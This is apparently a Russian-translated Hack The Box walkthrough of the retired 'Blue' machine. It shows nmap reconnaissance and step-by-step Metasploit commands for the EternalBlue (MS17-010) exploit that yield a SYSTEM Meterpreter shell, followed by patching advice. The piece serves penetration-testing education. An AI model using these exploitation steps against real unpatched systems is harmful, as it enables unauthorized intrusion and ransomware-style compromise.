Сохраняйте спокойствие и взломайте ящик - синий

Hack The Box (HTB) - это онлайн-платформа, которая позволяет вам проверить свои навыки тестирования на проникновение.

Он содержит несколько задач, которые постоянно обновляются. Некоторые из них моделируют сценарии реального мира, а некоторые больше склоняются к стилю задач CTF.

Примечание . Разрешены только записи списанных HTB-машин.

Blue - одна из самых простых машин в Hack The Box. Но он демонстрирует влияние эксплойта EternalBlue, который использовался для компрометации компаний с помощью крупномасштабных атак с использованием программ-вымогателей и крипто-майнинга.

Мы будем использовать следующие инструменты, чтобы заложить коробку в Kali Linux:

  • Nmap
  • searchsploit
  • метасплоит
  • метр

Давайте начнем.

Сначала я добавляю синий в файл / etc / hosts.

nano /etc/hosts

с участием

10.10.10.40 blue.htb

Шаг 1 - Разведка

Первым шагом перед эксплуатацией машины является сканирование и разведка.

Это одна из самых важных частей, поскольку она определит, что вы можете попытаться использовать впоследствии. Всегда лучше уделять этому этапу больше времени, чтобы получить как можно больше информации.

Сканирование портов

Я буду использовать Nmap (Network Mapper). Nmap - это бесплатная утилита с открытым исходным кодом для обнаружения сети и аудита безопасности.

Он использует необработанные IP-пакеты, чтобы определить, какие хосты доступны в сети, какие услуги эти хосты предлагают, какие операционные системы они используют, какие типы фильтров пакетов / межсетевых экранов используются, и множество других характеристик.

С этим инструментом можно использовать множество команд для сканирования сети. Если вы хотите узнать об этом больше, вы можете посмотреть документацию здесь.

Я использую следующую команду для выполнения интенсивного сканирования:

nmap -A -v blue.htb

-A: включает обнаружение ОС, определение версии, сканирование сценариев и трассировку.

-v: увеличивает уровень детализации

синий .htb: имя хоста для синего поля

Если результаты кажутся вам слишком ошеломляющими, вы можете попробовать следующее:

nmap blue.htb

Мы видим, что существует довольно много открытых портов, в том числе:

Порт 445, совместное использование файлов SMB Microsoft-DS (службы каталогов)

Из сканирования nmap у нас есть некоторая информация об имени компьютера (haris-PC) и версии SMB (2.02).

Блок сообщений сервера (SMB) - это сетевой протокол, который позволяет пользователям связываться с удаленными компьютерами и серверами, чтобы использовать свои ресурсы или делиться, открывать и редактировать файлы.

Судя по названию этого поля и тому, что это машина с Windows и открытым портом 445, мы можем предположить, что машина уязвима для EternalBlue. Я использую сценарий nmap для проверки этой информации следующим образом:

nmap --script vuln -p 445 blue.htb

Мы видим, что ящик уязвим для удаленного выполнения кода на серверах Microsoft SMBv1 (ms17-010).

Шаг 2 - Общие сведения о ms17-010

Что такое ms17-010?

EternalBlue - это программа для кибератак, разработанная Агентством национальной безопасности США (АНБ). Хакерская группа Shadow Brokers утекла в него 14 апреля 2017 года, через месяц после того, как Microsoft выпустила исправления для этой уязвимости - Википедия

Вы можете прочитать больше здесь. Эта уязвимость была исправлена ​​и указана в бюллетене безопасности Microsoft как MS17-010.

EternalBlue позволяет хакерам удаленно выполнять произвольный код для получения доступа к сети. Он использует уязвимость в протоколе SMB ОС Windows. Эксплойт может поставить под угрозу всю сеть и подключенные к ней устройства.

Вредоносное ПО, использующее EternalBlue, может распространяться по сети. В 2017 году WannaCry - программа-вымогатель - использовала эксплойт EternalBlue, который распространился по сети и заразил все подключенные устройства.

Шаг 3 - Использование EternalBlue

Я использую Searchsploit, чтобы проверить, есть ли какой-нибудь известный эксплойт. Searchsploit - это инструмент поиска из командной строки для базы данных Exploit.

Я использую следующую команду:

searchsploit eternalblue

Я могу получить более подробную информацию об эксплойте с помощью:

searchsploit -x 41738.py

Вы также можете проверить базу данных эксплойтов, чтобы найти эксплойт.

Доступен один модуль Metasploit.

Мы будем использовать Metasploit , фреймворк для тестирования на проникновение, который упрощает взлом. Это важный инструмент для многих нападающих и защитников.

Я запускаю Metasploit Framework в Kali и ищу команду, которую следует использовать для эксплойта.

Не забудьте обновить Metasploit при его запуске с помощью этой команды:

msfupdate

Вы также можете проверить, уязвима ли цель для EternalBlue на Metasploit, используя вспомогательный объект. Начните с этой команды:

search eternalblue

тогда в этом случае

use 1

выбирать

auxiliary/scanner/smb/smb_ms17_010

Вы можете проверить варианты с

show options

и установите RHOSTS с помощью

set RHOSTS blue.htb

Затем запустите вспомогательный с

run

Как видите, хост, скорее всего, уязвим для MS17-010!

Давайте теперь проверим эксплойт с помощью

use 2

или команда

exploit/windows/smb/ms17_010_eternalblue

Нам нужно настроить параметры для RHOSTS

и LHOST - мой был 10.10.14.24. Вам нужно будет настроить его с помощью собственного LHOST. Вы можете проверить свое здесь.

Перед запуском эксплойта вы можете проверить здесь, уязвима ли машина - это запустит вспомогательный компонент, который мы использовали ранее с командой

check

Затем я запускаю эксплойт с

run

Эксплойт должен был запускаться несколько раз, прежде чем я получил сеанс Meterpreter .

Вот определение Meterpreter из Offensive Security:

Meterpreter - это расширенная, динамически расширяемая полезная нагрузка, которая использует этапы внедрения DLL в памяти и распространяется по сети во время выполнения. Он обменивается данными через stager socket и предоставляет полный клиентский Ruby API. В нем есть история команд, завершение вкладок, каналы и многое другое.

Вы можете узнать больше о Meterpreter здесь.

Начнем со сбора информации.

getuid возвращает реальный идентификатор пользователя вызывающего процесса.

Учетная запись NT Authority \ SYSTEM или LocalSystem - это встроенная учетная запись Windows. Это самая мощная учетная запись в локальном экземпляре Windows. У нас есть права администратора на этой машине.

Шаг 4 - Ищем флаг user.txt

Я перехожу в папку haris из « Документов и настроек» .

Я могу перечислить все файлы / папки с помощью следующей команды:

ls -la

Затем я перехожу на рабочий стол с помощью

cd Desktop

И нахожу пользовательский флаг! Я могу проверить содержимое файла с помощью

cat user.txt

Шаг 5 - Ищем флаг root.txt

Теперь найдем корневой флаг. Я перехожу к « Пользователи» и захожу в папку « Администратор / Рабочий стол ». Я нахожу флаг!

Я использую следующую команду, чтобы увидеть содержимое файла:

cat root.txt

Поздравляю! Вы нашли оба флага.

Исправления

  • Установите на свои устройства обновление безопасности для Microsoft Windows SMB v1. Вы можете проверить бюллетень безопасности Microsoft, чтобы узнать, какие ОС затронуты.
  • Отключите SMB v1 и используйте SMB v2 или v3
  • Применяйте принцип наименьших привилегий ко всем вашим системам и службам

Не стесняйтесь комментировать, задавать вопросы или делиться с друзьями :)

Вы можете увидеть больше статей из серии « Сохраняйте спокойствие и взломайте ящик» здесь.

Вы можете подписаться на меня в Twitter или LinkedIn.

И не забудьте # GetSecure , # BeSecure и # StaySecure !